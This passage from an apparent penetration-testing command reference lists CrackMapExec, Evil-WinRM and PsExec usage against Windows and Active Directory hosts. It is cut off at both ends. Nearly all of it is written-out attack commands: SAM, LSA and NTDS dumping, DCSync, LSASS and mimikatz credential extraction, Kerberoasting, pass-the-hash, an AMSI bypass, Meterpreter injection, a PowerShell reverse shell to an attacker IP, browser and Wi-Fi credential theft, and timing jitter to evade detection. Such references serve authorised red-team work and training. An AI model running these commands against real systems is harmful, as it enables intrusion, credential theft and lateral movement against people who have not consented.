'C$' --content ``` Searches inside file contents (not just filenames) during spidering ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M spider_plus ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M spider_plus ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -M spider_plus ``` Uses the advanced spider_plus module to dump metadata and file listings to JSON ## WinRM Usage ### crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec winrm 192.168.1.10 -u 'admin' -p 'password' ``` Checks if WinRM authentication is possible on the target ### crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -x 'whoami' ```bash crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -x 'whoami' ``` Example: ```bash crackmapexec winrm 192.168.1.10 -u 'admin' -p 'password' -x 'whoami' ``` Executes a command via WinRM (often quieter than SMB exec) ### crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -X 'Get-Process' ```bash crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -X 'Get-Process' ``` Example: ```bash crackmapexec winrm 192.168.1.10 -u 'admin' -p 'password' -X 'Get-Process' ``` Executes a PowerShell command directly via WinRM ## MSSQL Usage ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'password' ``` Tests authentication against an MSSQL database instance ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' --local-auth ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' --local-auth ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'password' --local-auth ``` Authenticates to MSSQL using a local database account ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -q 'SELECT @@VERSION' ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -q 'SELECT @@VERSION' ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'password' -q 'SELECT @@VERSION' ``` Executes a SQL query against the target database ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -x 'whoami' ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -x 'whoami' ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'password' -x 'whoami' ``` Attempts to execute system commands via xp_cmdshell on MSSQL ## LDAP Usage ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'jdoe' -p 'password' ``` Tests LDAP authentication against a Domain Controller ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --asreproast output.txt ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --asreproast output.txt ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'jdoe' -p 'password' --asreproast hashes.txt ``` Checks for AS-REP roasting vulnerabilities and saves hashes to a file ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --kerberoasting output.txt ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --kerberoasting output.txt ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'jdoe' -p 'password' --kerberoasting hashes.txt ``` Performs Kerberoasting against the domain and saves TGS hashes ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --trusted-for-delegation ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --trusted-for-delegation ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'jdoe' -p 'password' --trusted-for-delegation ``` Enumerates accounts trusted for unconstrained delegation ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --admin-count ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --admin-count ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'jdoe' -p 'password' --admin-count ``` Enumerates high-value users protected by the AdminSDHolder object ## Command Execution ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'ipconfig /all' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'ipconfig /all' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -x 'ipconfig /all' ``` Executes a command via cmd.exe on the target system ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -X '$PSVersionTable' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -X '$PSVersionTable' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -X '$PSVersionTable' ``` Executes a command via PowerShell on the target system ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method smbexec -x 'whoami' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method smbexec -x 'whoami' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --exec-method smbexec -x 'whoami' ``` Forces the execution method to use smbexec (creating a service) explicitly ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method wmiexec -x 'whoami' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method wmiexec -x 'whoami' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --exec-method wmiexec -x 'whoami' ``` Forces the execution method to use wmiexec (DCOM) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method atexec -x 'whoami' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method atexec -x 'whoami' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --exec-method atexec -x 'whoami' ``` Forces the execution method to use the Task Scheduler (atexec) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method mmcexec -x 'whoami' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method mmcexec -x 'whoami' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --exec-method mmcexec -x 'whoami' ``` Forces the execution method to use MMC (Microsoft Management Console) ## File Operations ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --put local_file remote_path ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --put local_file remote_path ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --put tool.exe C:\Windows\Temp\tool.exe ``` Uploads a file from the attacker machine to the target system ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --get remote_path local_file ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --get remote_path local_file ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --get C:\Windows\System32\drivers\etc\hosts ./hosts ``` Downloads a file from the target system to the attacker machine ## Credential Harvesting ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sam ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sam ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --sam ``` Dumps the SAM database to retrieve local account hashes (requires Admin) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --lsa ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --lsa ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --lsa ``` Dumps LSA secrets from the registry (requires Admin) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --ntds ``` Attempts to parse the NTDS.dit file on a Domain Controller using Volume Shadow Copy ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds vss ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds vss ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --ntds vss ``` Explicitly uses VSS method to dump NTDS.dit ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds drsuapi ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds drsuapi ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --ntds drsuapi ``` Uses the DRSUAPI replication protocol to dump domain hashes (DCSync) ## Modules - Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M enum_av ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M enum_av ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M enum_av ``` Uses a module to identify installed antivirus software on the target ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wdigest -o ACTION=enable ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wdigest -o ACTION=enable ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M wdigest -o ACTION=enable ``` Modifies registry settings to enable WDigest credential caching (requires reboot to take effect) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M uac ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M uac ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M uac ``` Checks UAC (User Account Control) configuration and status ## Modules - Credential Dumping ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M lsassy ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M lsassy ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M lsassy ``` Uses the lsassy module to remotely dump LSASS memory and extract credentials ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nanodump ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nanodump ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M nanodump ``` Uses the nanodump module to create a minidump of LSASS with minimal footprint ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M mimikatz ``` Executes Mimikatz commands directly on the target (less opsec safe) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz -o COMMAND='sekurlsa::logonpasswords' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz -o COMMAND='sekurlsa::logonpasswords' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -M mimikatz -o COMMAND='sekurlsa::logonpasswords' ``` Runs a specific Mimikatz command via the module ## Modules - Vulnerability Scanning ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M zerologon ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M zerologon ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M zerologon ``` Checks if the target Domain Controller is vulnerable to ZeroLogon (CVE-2020-1472) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M petitpotam ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M petitpotam ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M petitpotam ``` Checks if the target is vulnerable to PetitPotam coercion ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nopac ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nopac ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M nopac ``` Checks for the NoPac vulnerability (CVE-2021-42278/42287) ## Modules - Post Exploitation ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M rdp -o ACTION=enable ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M rdp -o ACTION=enable ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M rdp -o ACTION=enable ``` Enables RDP on the target host by modifying registry keys ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M webdav ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M webdav ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' -M webdav ``` Checks if the WebClient service is running (useful for coercion attacks) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M gpp_password ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M gpp_password ``` Searches SYSVOL for Group Policy Preferences XML files containing decrypted passwords ## RDP Protocol ### crackmapexec rdp 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec rdp 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec rdp 192.168.1.10 -u 'admin' -p 'password' ``` Tests valid credentials against the RDP service ### crackmapexec rdp 192.168.1.10 -u 'user' -p 'password' --screenshot ```bash crackmapexec rdp 192.168.1.10 -u 'user' -p 'password' --screenshot ``` Example: ```bash crackmapexec rdp 192.168.1.10 -u 'admin' -p 'password' --screenshot ``` Takes a screenshot of the RDP login session if authentication succeeds ## Database Maintenance ### crackmapexec smb 192.168.1.0/24 --export targets.csv ```bash crackmapexec smb 192.168.1.0/24 --export targets.csv ``` Exports the internal CME database of discovered hosts to a CSV file ### cme-db ```bash cme-db ``` Launches the database viewer to manage workspaces and credentials manually ## Advanced Workflow ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'admin' -p 'pass' --continue-on-success ``` Continues testing credentials against other hosts even after a success ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --no-output ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --no-output ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' --no-output ``` Suppresses output to stdout (useful for automated scripts) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --verbose ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --verbose ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' --verbose ``` Enables verbose logging to see detailed protocol interaction and errors ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --gpo-list ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --gpo-list ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' --gpo-list ``` Lists Group Policy Objects applied to the machine ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M get_keystrokes ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M get_keystrokes ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -M get_keystrokes ``` Attempts to capture keystrokes from the target user session ## SSH Protocol ### crackmapexec ssh 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec ssh 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec ssh 192.168.1.10 -u 'root' -p 'password' ``` Tests SSH authentication ### crackmapexec ssh 192.168.1.10 -u 'user' --key-file id_rsa ```bash crackmapexec ssh 192.168.1.10 -u 'user' --key-file id_rsa ``` Example: ```bash crackmapexec ssh 192.168.1.10 -u 'root' --key-file ~/.ssh/id_rsa ``` Authenticates to SSH using a private key file ## FTP Protocol ### crackmapexec ftp 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec ftp 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec ftp 192.168.1.10 -u 'ftpuser' -p 'password' ``` Tests authentication against an FTP server ### crackmapexec ftp 192.168.1.10 -u 'user' -p 'password' --ls ```bash crackmapexec ftp 192.168.1.10 -u 'user' -p 'password' --ls ``` Example: ```bash crackmapexec ftp 192.168.1.10 -u 'ftpuser' -p 'password' --ls ``` Lists files in the FTP root directory after authentication ## BloodHound Integration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'pass' --bloodhound ``` Runs the BloodHound ingestor via LDAP to collect domain relationships ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound -c All ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound -c All ``` Example: ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'pass' --bloodhound -c All ``` Collects all BloodHound data points (Sessions, LocalAdmins, etc) ## Password Policy ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --force-ps32 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --force-ps32 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --force-ps32 ``` Forces PowerShell execution to use the 32-bit process ## Defensive Validation ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --jitter 5 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --jitter 5 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --jitter 5 ``` Adds a random delay (jitter) between actions to evade simple timing detection ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sleep 10 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sleep 10 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --sleep 10 ``` Sleeps for a specific duration between hosts in a range scan ## Lateral Movement ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M met_inject -o LHOST=192.168.1.5 LPORT=4444 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M met_inject -o LHOST=192.168.1.5 LPORT=4444 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -M met_inject -o LHOST=192.168.1.5 LPORT=4444 ``` Injects a Meterpreter payload into memory (requires Listener) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M slinky ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M slinky ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -M slinky ``` Creates LNK files on shares to harvest NTLMv2 hashes from users who browse them ## Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --check-uac ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --check-uac ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --check-uac ``` Explicitly checks if UAC limits the administrative token ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --interface ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --interface ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --interface ``` Lists network interfaces on the remote host ## Module - Teams ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M teams_localdb ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M teams_localdb ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M teams_localdb ``` Parses local Microsoft Teams database for cookies and tokens ## Module - Chrome ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M chrome ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M chrome ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M chrome ``` Decrypts Chrome passwords and cookies (requires user session) ## Module - Wifi ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wifi ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wifi ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'pass' -M wifi ``` Extracts saved Wi-Fi profiles and cleartext keys ## Cleanup ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rm local_file ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rm local_file ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --rm C:\Windows\Temp\tool.exe ``` Deletes a specific file from the remote target ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'taskkill /IM process.exe /F' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'taskkill /IM process.exe /F' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' -x 'taskkill /IM agent.exe /F' ``` Forcefully kills a running process to clean up execution artifacts ## Automation ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success --log cme.log ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success --log cme.log ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'admin' -p 'pass' --continue-on-success --log cme.log ``` Runs a sweep and logs all output to a file for later analysis ## Final ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth --sam --lsa --ntds ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth --sam --lsa --ntds ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --local-auth --sam --lsa --ntds ``` Combines multiple dumping flags in a single execution for efficiency ## Related tools - [CrackMapExec (enumeration)](https://terminal.rokibulroni.com/tool/enumeration/crackmapexec-enum) - [Evil-WinRM](https://terminal.rokibulroni.com/tool/lateral/evil-winrm) - [Impacket](https://terminal.rokibulroni.com/tool/active-directory/impacket) - [BloodHound.py](https://terminal.rokibulroni.com/tool/active-directory/bloodhound-python) # Tool: Evil-WinRM > The go-to WinRM shell for penetration testers: upload and download files, load PowerShell scripts and pass the hash. - Category: Lateral Movement - Commands: 25 - Page: https://terminal.rokibulroni.com/tool/lateral/evil-winrm - Homepage: https://github.com/Hackplayers/evil-winrm - Documentation: https://github.com/Hackplayers/evil-winrm#usage - Tags: WinRM, PowerShell, Windows ## Install - apt: `sudo apt install evil-winrm` - other: `gem install evil-winrm` ## Basic Remote Connection ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' ``` Establishes a basic interactive WinRM PowerShell session using plaintext credentials. ## Authentication Handling ### evil-winrm -i 192.168.1.10 -u Administrator -H '32132132132132132132132132132132' ```bash evil-winrm -i 192.168.1.10 -u Administrator -H '32132132132132132132132132132132' ``` Performs a Pass-the-Hash attack using an NTLM hash instead of a password. ## Transport Security ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -S ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -S ``` Enables SSL encryption to connect via WinRM over HTTPS (default port 5986). ## Target Specification ### evil-winrm -i 192.168.1.10 -P 5985 -u Administrator -p 'Password123!' ```bash evil-winrm -i 192.168.1.10 -P 5985 -u Administrator -p 'Password123!' ``` Specifies a custom port for the WinRM connection, overriding defaults. ## Advanced Authentication ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -r CONTOSO.COM ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -r CONTOSO.COM ``` Specifies the domain realm for authentication, useful in Kerberos environments. ## Key-Based Authentication ### evil-winrm -i 192.168.1.10 -c public_key.pem -k private_key.pem -S ```bash evil-winrm -i 192.168.1.10 -c public_key.pem -k private_key.pem -S ``` Authenticates using a client certificate key pair over an SSL encrypted connection. ## Script & Module Loading ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/scripts ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/scripts ``` Loads a local directory of PowerShell scripts into the session for easy execution. ## Executable Loading ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -e /opt/exes ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -e /opt/exes ``` Loads a local directory of executables (ISVs) for in-memory execution. ## Output & Logging ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l ``` Enables logging to save session output to files for later analysis. ## Interactive File Transfer ### upload /local/path/payload.exe C:\Windows\Temp\payload.exe ```bash upload /local/path/payload.exe C:\Windows\Temp\payload.exe ``` Uploads a file from the attacker machine to the remote target within the session. ### download C:\Windows\Temp\sensitive.docx /local/path/sensitive.docx ```bash download C:\Windows\Temp\sensitive.docx /local/path/sensitive.docx ``` Downloads a file from the remote target to the attacker machine within the session. ## Defense Evasion ### Bypass-4MSI ```bash Bypass-4MSI ``` Executes the built-in AMSI bypass command to disable antivirus scanning for the session. ## Interactive Session Handling ### menu ```bash menu ``` Displays the loaded scripts and modules available for execution in the current session. ## Lateral Movement Simulation ### Invoke-Binary /opt/exes/mimikatz.exe ```bash Invoke-Binary /opt/exes/mimikatz.exe ``` Executes a loaded binary directly in memory using Invoke-Binary to avoid disk writes. ## Service Execution ### evil-winrm -i 192.168.1.10 -u Administrator -H 'NTLM_HASH' -S ```bash evil-winrm -i 192.168.1.10 -u Administrator -H 'NTLM_HASH' -S ``` Combines Pass-the-Hash with SSL for a secure, authenticated lateral movement channel. ## URL-Based Connection ### evil-winrm -i https://example.com:5986/wsman -u Administrator -p 'Password123!' ```bash evil-winrm -i https://example.com:5986/wsman -u Administrator -p 'Password123!' ``` Connects to a specific WinRM URL endpoint, useful for complex network routings. ## Operational Security ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -N ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -N ``` Disables color output, useful for scripting or terminals that do not support ANSI colors. ## PowerShell Script Execution ### Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.5 -Port 4444 ```bash Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.5 -Port 4444 ``` Executes a loaded PowerShell script (e.g., Nishang) from the menu to trigger a callback. ## Enumeration Workflow ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/privesc_checks ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/privesc_checks ``` Starts a session pre-loaded with privilege escalation enumeration scripts for rapid auditing. ## Incident Response Test ### evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l ```bash evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l ``` Simulates an attack while logging all activity to verify blue team log correlation capabilities. ## Dll Injection Workflow ### Dll-Loader -path C:\Windows\Temp\malicious.dll ```bash Dll-Loader -path C:\Windows\Temp\malicious.dll ``` Uses the built-in Donut-based loader to inject a DLL into a process (requires loaded module). ## Interactive Service Control ### sc.exe query cmdservice ```bash sc.exe query cmdservice ``` Standard Windows command execution within the Evil-WinRM shell to query service status. ## Blue Team Detection ### evil-winrm -i 192.168.1.10 -u Administrator -H '321...321' -s /opt/atomic_red_team ```bash evil-winrm -i 192.168.1.10 -u Administrator -H '321...321' -s /opt/atomic_red_team ``` Loads Atomic Red Team scripts to validate detection logic against specific TTPs. ## Remote Host Cleanup ### Remove-Item -Path C:\Windows\Temp\* -Force ```bash Remove-Item -Path C:\Windows\Temp\* -Force ``` PowerShell command run within the session to clean up artifacts after simulation. ## Exit & Termination ### exit ```bash exit ``` Cleanly terminates the WinRM session and closes the connection to the remote host. ## Related tools - [WinRM](https://terminal.rokibulroni.com/tool/lateral/winrm) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [PsExec](https://terminal.rokibulroni.com/tool/lateral/psexec) # Tool: PsExec > Running commands on remote Windows hosts via the Service Control Manager — Sysinternals PsExec and Impacket’s psexec.py. - Category: Lateral Movement - Commands: 55 - Page: https://terminal.rokibulroni.com/tool/lateral/psexec - Homepage: https://learn.microsoft.com/sysinternals/downloads/psexec - Documentation: https://github.com/fortra/impacket - Tags: remote execution, SMB, Windows ## Install - apt: `sudo apt install python3-impacket` - pipx: `pipx install impacket` ## Basic Remote Execution ### psexec \\192.168.1.10 cmd ```bash psexec \\192.168.1.10 cmd ``` Executes an interactive command prompt on the target system using current credentials. ### psexec \\192.168.1.10 ipconfig /all ```bash psexec \\192.168.1.10 ipconfig /all ``` Runs a single non-interactive command remotely and displays the output locally. ## Authentication Handling ### psexec \\192.168.1.10 -u Administrator -p Password123 cmd ```bash psexec \\192.168.1.10 -u Administrator -p Password123 cmd ``` Connects to the remote host using explicit plaintext credentials. ### psexec \\192.168.1.10 -u DOMAIN\User -p Password123 cmd ```bash psexec \\192.168.1.10 -u DOMAIN\User -p Password123 cmd ``` Example: ```bash psexec \\192.168.1.10 -u CORP\Admin -p SecurePass! cmd ``` Connects using domain credentials for authentication. ## Automation ### psexec -accepteula \\192.168.1.10 cmd ```bash psexec -accepteula \\192.168.1.10 cmd ``` Automatically accepts the Sysinternals EULA to prevent interactive pop-ups during automation. ## Privilege Escalation ### psexec \\192.168.1.10 -s cmd ```bash psexec \\192.168.1.10 -s cmd ``` Runs the remote command shell under the NT AUTHORITY\SYSTEM account. ## Interactive Sessions ### psexec \\192.168.1.10 -i cmd ```bash psexec \\192.168.1.10 -i cmd ``` Runs the program so that it interacts with the desktop of the specified session on the remote system. ### psexec \\192.168.1.10 -i -s cmd ```bash psexec \\192.168.1.10 -i -s cmd ``` Launches an interactive command prompt as the SYSTEM account, visible on the remote desktop. ### psexec \\192.168.1.10 -i 2 cmd ```bash psexec \\192.168.1.10 -i 2 cmd ``` Executes the command specifically on session ID 2 on the remote machine. ## File Execution ### psexec \\192.168.1.10 -c test.exe ```bash psexec \\192.168.1.10 -c test.exe ``` Example: ```bash psexec \\192.168.1.10 -c C:\Tools\payload.exe ``` Copies the specified executable to the remote system and runs it. ### psexec \\192.168.1.10 -c -f test.exe ```bash psexec \\192.168.1.10 -c -f test.exe ``` Example: ```bash psexec \\192.168.1.10 -c -f C:\Tools\payload.exe ``` Forces the copy of the executable to the remote system even if the file already exists. ### psexec \\192.168.1.10 -c -v test.exe ```bash psexec \\192.168.1.10 -c -v test.exe ``` Example: ```bash psexec \\192.168.1.10 -c -v C:\Tools\payload.exe ``` Copies the file only if 